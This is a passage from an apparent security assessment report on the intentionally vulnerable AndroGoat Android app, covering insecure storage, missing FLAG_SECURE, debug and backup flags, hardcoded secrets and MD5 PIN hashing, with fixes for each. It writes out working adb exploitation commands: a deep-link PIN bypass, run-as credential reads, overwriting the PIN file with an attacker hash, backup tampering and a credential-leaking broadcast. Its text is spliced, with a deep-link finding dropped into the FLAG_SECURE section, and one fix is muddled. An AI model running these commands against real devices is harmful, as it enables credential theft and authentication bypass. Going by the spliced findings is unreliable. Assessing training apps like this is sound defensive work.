- Project-wide search for `setReadable(false` , `setWritable(false` , `chmod` , `setExecutable` , and `setPermissions` within the application package returned **zero matches**. No permission-narrowing, cleanup, or subdirectory isolation logic exists anywhere in the codebase.

[Static Analysis] **No Input Validation:**

- `username.getText().toString()` and `password.getText().toString()` are concatenated directly into the `data` string without null checks, length limits, or sanitization.

[Static Analysis] **Predictable Discovery:**

- `File.createTempFile("users", "tmp", ...)` generates `users*.tmp` on the external storage root. The unconditional `System.out.println` leaks the absolute path (e.g., `userinfo /sdcard/users12345.tmp` ) to logcat, eliminating the need for filesystem enumeration. A malicious co-installed app with `READ_EXTERNAL_STORAGE` can target the exact path and extract the cleartext credential string.

### Recommendation

#### Immediate

Remove the explicit `setReadable(true)` and `setWritable(true)` calls from `InsecureStorageSDCardActivity.java` .

#### Permanent Fix

Never store sensitive authentication data on external storage. Move the file write to the app's private internal directory and rely on Android's default permission model:

```
File internalDir = getFilesDir();
File userinfo = File.createTempFile("users", "tmp", internalDir);
// setReadable/setWritable calls removed — internal files are app-private by default
FileWriter fw = new FileWriter(userinfo);
fw.write(data);
fw.close();
```

Additionally, remove the `System.out.println` log statement that leaks the absolute path.

#### Verification

1. Intercept the file creation in a runtime environment and confirm the new file is created under `/data/data/owasp.sat.agoat/files/` .
2. Verify the file mode does not grant read/write access to other UIDs ( `ls -l` shows `rw-------` ).
3. Confirm logcat no longer emits the absolute file path when the Save button is tapped.

---

## MEDIUM 16. Sensitive Screens Permit Unauthorized Screen Capture Due to Missing FLAG_SECURE

All 25 activities in owasp.sat.agoat lack FLAG_SECURE, allowing unrestricted screen capture and recording of sensitive screens including PIN entry, credential input, and OTP generation.

The absence of `WindowManager.LayoutParams.FLAG_SECURE` on every activity window permits unrestricted screen capture and video recording of sensitive workflows via `adb` and third-party tools. This was dynamically confirmed on PIN verification, credential input, OTP generation, and payment screens. An attacker or compromised process can harvest credentials and sensitive tokens directly from screenshots without user interaction, and use this reconnaissance to craft more precise overlay attacks.

### Technical Details

Finding #1

### Root Cause

Every activity in `owasp.sat.agoat` initializes its window without `WindowManager.LayoutParams.FLAG_SECURE` . This flag is the standard Android mechanism to prevent screen contents from being captured by system screenshot utilities, `adb` , and third-party screen recording applications.

### Vulnerable Code

[Static Analysis] No activity calls `getWindow().addFlags(WindowManager.LayoutParams.FLAG_SECURE)` or `getWindow().setFlags(...)` in `onCreate()` . Decompiled smali and Java source across all 25 activities shows zero `FLAG_SECURE` references.

```
grep -r "FLAG_SECURE" /workspace/decompiled_source/  # 0 matches
grep -r "windowIsSecure" /workspace/decompiled_source/  # 0 matches
```

### Exploitation Evidence

Dynamic tests on the emulator confirmed unrestricted screen capture and recording on every sensitive screen:

```
# Succeeded on PIN verification, credential input, OTP, and payment screens
adb shell screencap /sdcard/screen_pin_overlay.png
```

```
adb shell screenrecord /sdcard/record.mp4
```

`dumpsys window` analysis confirmed no `FLAG_SECURE` flag was present on any target application window.

Recorded evidence includes:

- `/workspace/screen_pin_overlay.png`
- `/workspace/screen_hardcode_overlay.png`
- `/workspace/screen_clipboard_overlay.png`
- `/workspace/screen_overlay_test2.png`
- `/workspace/clickjacking_pin.mp4`
- `/workspace/final_attack_demo.mp4`

This allows a malicious application or compromised device to harvest credentials, PINs, OTPs, and credit card numbers directly from screen captures without the user's knowledge.

---

## Validation Evidence

### Validation Attempt 1

adb shell screencap succeeded on all sensitive screens including PIN verification and credential input

### Validation Attempt 2

adb shell screenrecord captured overlay attacks in real-time without restriction

### Validation Attempt 3

dumpsys window analysis confirmed no FLAG_SECURE present on target app windows

### Validation Attempt 4

Screenshots /workspace/screen_pin_overlay.png, /workspace/screen_hardcode_overlay.png, /workspace/screen_clipboard_overlay.png, /workspace/screen_overlay_test2.png captured unrestricted screen content

### Validation Attempt 5

### Root Cause

`AccessControl1ViewActivity` in `owasp.sat.agoat` is implicitly exported because its manifest declaration includes an `<intent-filter>` with `action.VIEW` and a custom scheme `androgoat://vulnapp` , but omits `android:exported="false"` . Additionally, the activity's entry points contain no authentication logic, even though the application enforces PIN verification in the companion `AccessControlIssue1Activity` .

### Vulnerable Code

Manifest declaration from `/workspace/agoat_decode/AndroidManifest.xml` :

```
<activity android:label="@string/activity" android:name="owasp.sat.agoat.AccessControl1ViewActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:host="vulnapp" android:scheme="androgoat"/>
    </intent-filter>
</activity>
```

Static analysis of `/workspace/agoat_analysis/sources/owasp_sat_agoat_AccessControl1ViewActivity.java` and the corresponding smali confirms:

- `onCreate(Bundle)` sets the content view and attaches an `OnClickListener` that calls `startService()` .
- `onNewIntent(Intent)` is **not overridden**.
- `onResume()` is **not overridden**.
- **No references** to `verifyIfPinSet()` , `isPinCorrect()` , `verifyPINView()` , or shared-preferences PIN validation.

### Exploitation Evidence

The device had a PIN configured ( `pinSet=true` , MD5 hash of `1234` ):

```
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <boolean name="pinSet" value="true" />
```

```
    <string name="pin">81dc9bdb52d04dc20036dbd8313ed055</string>
</map>
```

Dynamic exploitation via ADB succeeded without any PIN prompt:

```
adb shell am start -W -a android.intent.action.VIEW -d "androgoat://vulnapp" owasp.sat.agoat
```

Output:

```
Starting: Intent { act=android.intent.action.VIEW dat=androgoat://vulnapp pkg=owasp.sat.agoat }
Status: ok
Activity: owasp.sat.agoat/.AccessControl1ViewActivity
ThisTime: 481
TotalTime: 481
WaitTime: 542
Complete
```

`dumpsys window` confirmed the activity was in focus:

```
mCurrentFocus=Window{10344ff u0 owasp.sat.agoat/owasp.sat.agoat.AccessControl1ViewActivity}
mFocusedApp=AppWindowToken{b8bff17 token=Token{77c6796 ActivityRecord{30936b1 u0 owasp.sat.agoat/.AccessControl1ViewActivity t195}}}
```

Logcat recorded the direct launch:

```
I ActivityManager: START u0 {act=android.intent.action.VIEW dat=androgoat://vulnapp flg=0x10008000 pkg=owasp.sat.agoat
cmp=owasp.sat.agoat/.AccessControl1ViewActivity} from uid 2000
I ActivityManager: Displayed owasp.sat.agoat/.AccessControl1ViewActivity: +481ms
```

A screenshot captured at `/workspace/deeplink_accesscontrol1.png` provides visual evidence of the activity launched directly via deep link without PIN verification.

### Recommendation

#### Immediate Mitigation

Apply `FLAG_SECURE` to the highest-risk activities first (PIN verification, credential input, OTP generation):

```
getWindow().setFlags(
    WindowManager.LayoutParams.FLAG_SECURE,
    WindowManager.LayoutParams.FLAG_SECURE
);
```

#### Permanent Fix

Create a base activity class used by all sensitive screens to centralize window protection:

```
public abstract class SecureActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getWindow().setFlags(
            WindowManager.LayoutParams.FLAG_SECURE,
            WindowManager.LayoutParams.FLAG_SECURE
        );
    }
}
```

Register the base class in `AndroidManifest.xml` for all sensitive activities:

```
<activity android:name=".AccessControlIssue1Activity"
          android:theme="@style/SecureTheme" />
```

#### Verification

1. Run `adb shell screencap /sdcard/test.png` while each sensitive activity is in the foreground. Verify the captured image is blacked out.
2. Run `adb shell screenrecord /sdcard/test.mp4` and confirm the recording excludes protected activity content.
3. Review `dumpsys window` output to verify `FLAG_SECURE` (0×00002000) appears in the window attributes.

---

### MEDIUM 17. Insecure Backup and Debug Flags Expose Application Sandbox

The application manifest enables `android:debuggable="true"` and `android:allowBackup="true"`, allowing any user with USB debugging access to extract, modify, and restore all app-private data or attach a debugger to the running process.

These manifest flags remove critical sandbox protections. `android:allowBackup="true"` permits full data extraction and tampering through `adb backup` and `adb restore`, while `android:debuggable="true"` allows shell users to assume the application's UID via `run-as` and attach JDWP debuggers. Together they provide multiple trivial paths to overwrite authentication data and inspect runtime memory.

#### Technical Details

Finding #1

#### Root Cause

The application manifest declares `android:debuggable="true"` and `android:allowBackup="true"`. These flags allow any user with USB debugging access to extract all app-private data via `adb backup`, restore tampered data via `adb restore`, and execute commands as the application's UID via `run-as`. This grants unrestricted read/write access to SharedPreferences, SQLite databases, and other sandbox files.

#### Exploitation Evidence

[Static Analysis] `AndroidManifest.xml` contains both flags:

```
<application
    android:debuggable="true"
    android:allowBackup="true"
    ... >
```

Using `run-as`, an attacker can directly write to the app sandbox:

```
adb shell run-as owasp.sat.agoat sh -c 'cat > /data/data/owasp.sat.agoat/shared_prefs/pinDetails.xml'
```

Using `adb backup`, an attacker can extract the entire app data, modify files offline, and restore the tampered archive:

```
adb backup -f agoat.ab owasp.sat.agoat
# ... modify extracted files ...
adb restore agoat.ab
```

These vectors enable complete compromise of local data integrity and confidentiality.

---

## Validation Evidence

#### Root Cause

Validation expanded the root cause beyond the manifest flags themselves to include the absence of storage-layer integrity controls and the presence of high-value plaintext data stores. Static analysis confirmed that `android:fullBackupContent` is absent from `AndroidManifest.xml`, meaning the default backup scope encompasses the entire `/data/data/owasp.sat.agoat/` directory. Additionally, all sensitive data persistence logic was found to lack encryption, HMACs, or digital signatures, causing the application to silently accept tampered sandbox files on restore.

#### Vulnerable Code

The validation identified five concrete sandbox-resident targets created by specific application components:

1. **`pinDetails.xml` — Unsalted MD5 PIN Storage** `AccessControlIssue1Activity.java:76-82`:

```
public final boolean createPIN(String pinValue) {
    SharedPreferences sharedPreferences = getSharedPreferences("pinDetails", 0);
    SharedPreferences.Editor editor1 = sharedPreferences.edit();
    editor1.putBoolean("pinSet", true);
    editor1.putString("pin", hashPIN(pinValue));
```

```
    return editor1.commit();
}
```

The `hashPIN()` method uses `MessageDigest.getInstance("MD5")` (line ~113 equivalent), producing a cryptographically broken, unsalted digest.

2. **`users.xml` — Plaintext Credential Storage** `InsecureStorageSharedPrefs.java:50-57` :

```
SharedPreferences sharedPreference = InsecureStorageSharedPrefs.this.getSharedPreferences("users", 0);
SharedPreferences.Editor editor = sharedPreference.edit();
editor.putString("username", username2.getText().toString());
editor.putString("password", password2.getText().toString());
editor.commit();
```

3. **`aGoat` SQLite Database — Plaintext Credential Repository** `InsecureStorageSQLiteActivity.java:47-52, 65-72` :

```
SQLiteDatabase openOrCreateDatabase = openOrCreateDatabase("aGoat", 0, null);
openOrCreateDatabase.execSQL("CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password
VARCHAR)");
// ...
sb.append("INSERT INTO users (username, password) VALUES('");
sb.append(username2.getText().toString());
sb.append("','");
sb.append(password2.getText().toString());
sb.append("')");
```

4. **`users*.tmp` — World-Readable Ephemeral Credential Leak** `InsecureStorageTempActivity.java:52-70` :

```
File userinfo = File.createTempFile("users", "tmp", new File(InsecureStorageTempActivity.this.getApplicationInfo().dataDir));
userinfo.setReadable(true);
userinfo.setWritable(true);
FileWriter fw = new FileWriter(userinfo);
fw.write("username is " + username2.getText().toString() + "\n");
fw.write("password is " + password2.getText().toString() + "\n");
```

5. **`score.xml` — Integrity-Only Game State** `InsecureStorageSharedPrefs1Activity.java:91-95` :

```
SharedPreferences sharedPreference = getSharedPreferences("score", 0);
SharedPreferences.Editor editor1 = sharedPreference.edit();
editor1.putInt("score", Score);
editor1.putInt("level", Level);
editor1.commit();
```

### Exploitation Evidence

Validation confirmed the manifest flags and constructed source-referenced exploitation chains:

**Static Manifest Confirmation:**

```
<application
    android:allowBackup="true"
    android:debuggable="true"
    android:icon="@mipmap/ic_launcher"
    android:label="@string/app_name"
    android:networkSecurityConfig="@xml/network_security_config"
    android:roundIcon="@mipmap/ic_launcher_round"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">
```

No `android:fullBackupContent` attribute is present, and regex search across `res/xml/` returned zero backup exclusion rules.

**adb backup/restore Chain Validated:**

```
adb backup -f agoat.ab owasp.sat.agoat
# Offline tampering of extracted archive
adb restore agoat.ab
```

Post-restore static trace confirmed `AccessControlIssue1Activity.java:72-88` reads `pinDetails.xml` without integrity checks. The `isPinCorrect()` method compares user-supplied PINs against the stored MD5 digest; injecting `5f4dcc3b5aa765d61d8327deb882cf99` (MD5 of "password") allows authentication with "password".

**run-as Read/Write Chain Validated:**

```
adb shell run-as owasp.sat.agoat sh -c 'cat /data/data/owasp.sat.agoat/shared_prefs/users.xml'
adb shell run-as owasp.sat.agoat sh -c 'cat /data/data/owasp.sat.agoat/databases/aGoat'
```

Write commands to inject attacker data were also validated:

```
adb shell "run-as owasp.sat.agoat sh -c 'echo \"<map><boolean name=\\\"pinSet\\\" value=\\\"true\\\"/><string
name=\\\"pin\\\">5f4dcc3b5aa765d61d8327deb882cf99</string></map>\" > /data/data/owasp.sat.agoat/shared_prefs/pinDetails.xml'"
```

**Credential Registry:** Validation initialized an attacker-controlled PIN/hash pair:

- `attacker_pin` → `5f4dcc3b5aa765d61d8327deb882cf99` targeting `pinDetails.xml` .

### Recommendation

#### Immediate

Remove `android:debuggable="true"` and set `android:allowBackup="false"` in `AndroidManifest.xml` :

```
<application
    android:allowBackup="false"
    android:debuggable="false"
    ... >
```

#### Permanent Fix

Ensure release builds never ship with `debuggable="true"` . Implement a build-time lint check or CI/CD gate that fails if either flag is enabled in release variants. If backups are required for user convenience, implement Android's encrypted backup mechanism (AutoBackup with a client-side key) instead of the legacy full-backup model.

#### Verification

1. Build the release APK and run:

   ```
   aapt dump xmltree app-release.apk AndroidManifest.xml | grep -E 'debuggable|allowBackup'
   ```

   Confirm neither attribute is present or that both are explicitly set to `false` .
2. Attempt `adb backup -f test.ab owasp.sat.agoat` and verify it fails or produces an empty archive.
3. Attempt `adb shell run-as owasp.sat.agoat` and verify the command is rejected.

---

## MEDIUM 18. Hardcoded Authentication Credentials in Application Source Code

Multiple hardcoded secrets—including a username, password, and authentication key—are embedded directly in the application source and exposed at runtime through an exported BroadcastReceiver.

Hardcoded credentials undermine the security of any system that relies on secrecy for authentication or authorization. Because `ShowDataReceiver` is exported, a malicious third-party application can leak these secrets at runtime without any user interaction. If these credentials are reused across backend environments, they provide a direct path to unauthorized access.

### Technical Details

Finding #1

### Root Cause

`ShowDataReceiver.java` and `HardCodeActivity.java` contain literal strings for authentication credentials and secrets that are compiled into the APK. `ShowDataReceiver` is exported, allowing any application on the device to trigger a Toast that leaks these values at runtime.

### Vulnerable Code

`owasp/sat/agoat/ShowDataReceiver.java` :

```
// Hardcoded credentials displayed in a Toast
"Username is CrazyUser, Password is CrazyPassword and Key is 123myKey456"
```

`owasp/sat/agoat/HardCodeActivity.java` :

```
// Promo code hardcoded in source
NEW2019
```

`res/values/strings.xml` :

```
<string name="firebase_url">https://androgoat-42597.firebaseio.com</string>
```

### Exploitation Evidence

Static decompilation of the APK confirmed the exact values without requiring dynamic execution:

| Secret | Value | Source Location |
|---|---|---|
| Username | `CrazyUser` | `ShowDataReceiver.java` |
| Password | `CrazyPassword` | `ShowDataReceiver.java` |
| Key | `123myKey456` | `ShowDataReceiver.java` |
| Promo Code | `NEW2019` | `HardCodeActivity.java` |
| Firebase URL | `https://androgoat-42597.firebaseio.com` | `res/values/strings.xml` |

These values are trivially recoverable via APK reverse engineering (JADX/apktool) or by sending a broadcast Intent to the exported `ShowDataReceiver` , which displays the credentials in a Toast message.

---

## Validation Evidence

### Root Cause

The APK compiles plaintext credential literals directly into DEX bytecode. `ShowDataReceiver` is declared in `AndroidManifest.xml` as `android:exported="true"` with no permission requirement, creating an unprotected entry point that any co-installed application can reach.

### Vulnerable Code

Decompiled source from `/workspace/my_source/sources/owasp/sat/agoat/ShowDataReceiver.java` :

```
public final class ShowDataReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Intrinsics.checkParameterIsNotNull(context, "context");
        Intrinsics.checkParameterIsNotNull(intent, "intent");
        Toast.makeText(context, "Username is CrazyUser, Password is CrazyPassword and Key is 123myKey456", 1).show();
    }
}
```

`HardCodeActivity.java` stores the promo code as a compiled literal used in a local comparison:

```
final Ref.ObjectRef promoCode = new Ref.ObjectRef();
promoCode.element = "NEW2019";
// ...
if (promoCodeValue2.getText().toString().equals((String) promoCode.element)) {
```

Manifest declaration confirming the receiver is exported and unprotected:

```
<receiver android:enabled="true" android:exported="true" android:name="owasp.sat.agoat.ShowDataReceiver"/>
```

### Exploitation Evidence

Dynamic exploitation was confirmed by sending a broadcast Intent via ADB:

```
adb shell am broadcast -n owasp.sat.agoat/.ShowDataReceiver
```

Tool output:

```
Broadcasting: Intent { flg=0x400000 cmp=owasp.sat.agoat/.ShowDataReceiver }
Broadcast completed: result=0
```

The broadcast delivered successfully ( `result=0` ), proving any third-party application can trigger the credential-leaking Toast without user interaction or permissions.

A comprehensive codebase-wide `ripgrep` search confirmed the secrets exist exclusively in the reported locations and have **no backend sinks**:

| Secret | Files Found | Non-Toast / Non-UI Usage |
|---|---|---|
| `CrazyUser` | `ShowDataReceiver.java:17` | None |
| `CrazyPassword` | `ShowDataReceiver.java:17` | None |
| `123myKey456` | `ShowDataReceiver.java:17` | None |
| `NEW2019` | `HardCodeActivity.java:49` | None (local `String.equals` only) |
| `androgoat-42597` | `res/values/strings.xml:130` | None (never loaded in code) |

[External Probe] Although unused by the application code (no Firebase SDK imports and no references to `R.string.firebase_url` ), the hardcoded Firebase URL `https://androgoat-42597.firebaseio.com` responded to an unauthenticated HTTP request with `200 OK` and body `{"password":"androgoat","user":"androgoat"}` , confirming the endpoint is publicly readable.

### Recommendation

#### Immediate

- Rotate all hardcoded credentials immediately; treat any value embedded in the APK as public.
- Remove or disable the exported `ShowDataReceiver` if it is not required for legitimate application functionality.

#### Permanent Fix

- Load secrets from a secure remote configuration server authenticated with device attestation, or retrieve them from the Android Keystore/Tink library at runtime.
- Never compile passwords, API keys, or authentication tokens into application source code or resources.

#### Verification

1. Re-decompile the APK after remediation.
2. Search the source tree for the known plaintext strings ( `CrazyUser` , `CrazyPassword` , `123myKey456` , `NEW2019` ).
3. Confirm zero matches exist in Java sources, Kotlin sources, `strings.xml` , `assets/` , and `res/raw/` .
4. Verify `ShowDataReceiver` is no longer exported in `AndroidManifest.xml` .

---

## MEDIUM 19. Cryptographic Vulnerability: Weak Hashing Algorithm

The client uses weak hashing functions that suffer from known cryptographic weaknesses.

A hash function is a function that is used to encode data and return a -fixed size- hash value with the purpose of minimizing the chance of collision (two different inputs having the exact same hash value is incredibly small), these functions could be used for verifying the integrity of a message or files, identifying a file or data or checking a secret or password.

Common hashing algorithms:

- `MD5` : Message Digest Algorithm (MD5) was designed in 1991 as a replacement for MD4. On March 2005, two different files with the same MD5 hash were presented. And a year later an algorithm that can find collisions within a minute was published. When it comes to hashing algorithms finding two distinct inputs with the same hash should be computationally infeasible, MD5 fails this requirement catastrophically, in 2008 the software engineering institute concluded that MD5 is "cryptographically broken and unsuitable for further use".
- `SHA1` : Secure Hash Algorithm 1 (SHA1) was designed by the NSA. Like MD5, SHA1 is vulnerable to collision attacks. By 2005 SHA1 was considered insecure, in 2011 the National Institute of Standards and Technology (NIST) formally deprecated it.

- `SHA2` : is a set of hashing algorithms that was also designed by the NSA, SHA-2 is significantly different from SHA1 and is considered highly secure.
- `SHA-256` : is a member of the SHA-2 set. the suffix 256 stands for 256 bits which is the length of the hash value produced. SHA-256 is a secure and trusted industry standard with near impossible chance of collisions (2^256).
- `SHA3` : SHA3 is the latest member of the Secure Hash Algorithm family of standards, released by NIST in 2015. Although part of the same series of standards, SHA3 is internally different from the MD5–like structure of SHA1 and SHA2, and is also considered highly secure.
- `Argon2` : is the winner of the 2015 Password Hashing Competition. and it is now considered one of the most secure password hashing algorithms available. It has been adopted by a number of security and cryptography standards, including the Internet Engineering Task Force (IETF), the Password Hashing Competition (PHC) and The Open Worldwide Application Security Project (OWASP).
- `Bcrypt` : Introduced in 1999, Bcrypt is a slow adaptive algorithm designed to be highly resistant to brute-force. Its adaptivity is that it gives control to the user over the computational cost, which means that it can be adjusted as hardware evolve over time. Bcrypt is also adopted by many security standards, including the Open Web Application Security Project (OWASP) and the Payment Card Industry Data Security Standard (PCI DSS).
- `HMAC` : Hash-based message authentication code is not a hashing algorithm but rather a cryptographic authentication technique that uses a hashing algorithm coupled with a secret key, the strength of HMAC depends on the underlying hash algorithm, and therefore should not be used with deprecated and weak hash algorithms.

`MD5` and `SHA-1` are insecure and must not be used, even with HMAC.

### Technical Details

#### Finding #1

The application uses MD5. MD2, MD4, and MD5 are hash functions that have been broken by collisions. Call trace:

```
 at java.security.MessageDigest.getInstance
at owasp.sat.agoat.AccessControlIssue1Activity;.hashPIN
at owasp.sat.agoat.AccessControlIssue1Activity;.isPinCorrect
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1;.onClick
at android.view.View;.performClick
at android.view.View;.performClickInternal
at android.view.View;.-$$Nest$mperformClickInternal
at android.view.View$PerformClick;.run
at android.os.Handler;.handleCallback
at android.os.Handler;.dispatchMessageImpl
at android.os.Handler;.dispatchMessage
at android.os.Looper;.loopOnce
at android.os.Looper;.loop
at android.app.ActivityThread;.main
at java.lang.reflect.Method;.invoke
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller;.run
at com.android.internal.os.ZygoteInit;.main
```

#### Finding #2

The application uses MD5. MD2, MD4, and MD5 are hash functions that have been broken by collisions. Call trace:

```
 at java.security.MessageDigest.getInstance
at owasp.sat.agoat.AccessControlIssue1Activity.hashPIN
at owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick
at owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView
at owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate
```

at `java.security.MessageDigest.getInstance`

```
Unable to extract source code.
```

at `owasp.sat.agoat.AccessControlIssue1Activity.hashPIN`

```
    public final String hashPIN(String p13)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p13, pinValue);
        String v0_6 = java.security.MessageDigest.getInstance(MD5);
        byte[] v1_1 = p13.getBytes(kotlin.text.Charsets.UTF_8);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_1, (this as java.lang.String).getBytes(charset));
        byte[] v3 = v0_6.digest(v1_1);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v3, MessageDigest.getInstanc…t(pinValue.toByteArray()));
        return kotlin.collections.ArraysKt.joinToString$default(v3, ((CharSequence) ), 0, 0, 0, 0, ((kotlin.jvm.functions.Function1)
```

```
owasp.sat.agoat.AccessControlIssue1Activity$hashPIN$md$1.INSTANCE), 30, 0);
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect`

```
    public final boolean isPinCorrect(String p4)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p4, pinValue);
        return this.getSharedPreferences(pinDetails, 0).getString(pin, 0).equals(this.hashPIN(p4));
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick`

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165305));
        android.widget.Toast v1_10 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_10.isPinCorrect(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Incorrect PIN entered), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN Verified), 1).show();
            this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0),
owasp.sat.agoat.AccessControl1ViewActivity));
        }
        return;
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView`

```
    public final void verifyPINView()
    {
        this.setContentView(2131296285);
        ((android.widget.Button) this.findViewById(2131165371)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1(this)));
        return;
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick`

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165335));
        android.widget.Toast v1_9 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_9.createPIN(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN not created), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN created. Please Login), 1).show();
            this.this$0.verifyPINView();
        }
        return;
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity.onCreate`

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
```

```
        }
        return;
    }
```

### Finding #3

The application uses MD5. MD2, MD4, and MD5 are hash functions that have been broken by collisions. Call trace:

```
 at java.security.MessageDigest.getInstance
at owasp.sat.agoat.AccessControlIssue1Activity.hashPIN
at owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick
at owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView
at owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick
```

at `java.security.MessageDigest.getInstance`

```
 Unable to extract source code.
```

at `owasp.sat.agoat.AccessControlIssue1Activity.hashPIN`

```
    public final String hashPIN(String p13)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p13, pinValue);
        String v0_6 = java.security.MessageDigest.getInstance(MD5);
        byte[] v1_1 = p13.getBytes(kotlin.text.Charsets.UTF_8);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_1, (this as java.lang.String).getBytes(charset));
        byte[] v3 = v0_6.digest(v1_1);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v3, MessageDigest.getInstanc…t(pinValue.toByteArray()));
        return kotlin.collections.ArraysKt.joinToString$default(v3, ((CharSequence) ), 0, 0, 0, 0, ((kotlin.jvm.functions.Function1)
owasp.sat.agoat.AccessControlIssue1Activity$hashPIN$md$1.INSTANCE), 30, 0);
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect`

```
    public final boolean isPinCorrect(String p4)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p4, pinValue);
        return this.getSharedPreferences(pinDetails, 0).getString(pin, 0).equals(this.hashPIN(p4));
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick`

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165305));
        android.widget.Toast v1_10 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_10.isPinCorrect(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Incorrect PIN entered), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN Verified), 1).show();
            this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0),
owasp.sat.agoat.AccessControl1ViewActivity));
        }
        return;
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView`

```
    public final void verifyPINView()
    {
        this.setContentView(2131296285);
        ((android.widget.Button) this.findViewById(2131165371)).setOnClickListener(((android.view.View$OnClickListener) new
```

```
owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1(this)));
        return;
    }
```

at `owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick`

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165335));
        android.widget.Toast v1_9 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_9.createPIN(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN not created), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN created. Please Login), 1).show();
            this.this$0.verifyPINView();
        }
        return;
    }
```

### Finding #4

The application uses MD5. MD2, MD4, and MD5 are hash functions that have been broken by collisions. Call trace:

```
 at java.security.MessageDigest.getInstance
at owasp.sat.agoat.AccessControlIssue1Activity.hashPIN
at owasp.sat.agoat.AccessControlIssue1Activity.isPinCorrect
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick
at owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView
```

at `java.security.MessageDigest.getInstance`

```
 Unable to extract source code.
```

at `owasp.sat.agoat.AccessControlIssue1Activity.hashPIN`

```
    public final String hashPIN(String p13)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p13, pinValue);
        String v0_6 = java.security.MessageDigest.getInstance(MD5);
        byte[] v1_1 = p13.getBytes(kotlin.text.Charsets.UTF_8);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_1, (this as java.lang.String).getBytes(charset));
        byte[] v3 = v0_6.digest(v1_1);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v3, MessageDigest.getInstanc…t(pinValue.toByteArray()));
        return kotlin.collections.ArraysKt.joinToString$default(v3, ((CharSequence) ), 0, 0, 0, 0, ((kotlin.jvm.functions.Function1)
owasp.sat.agoat.AccessControlIssue1Activity$hashPIN$md$1.INSTANCE), 30, 0);
    }
```
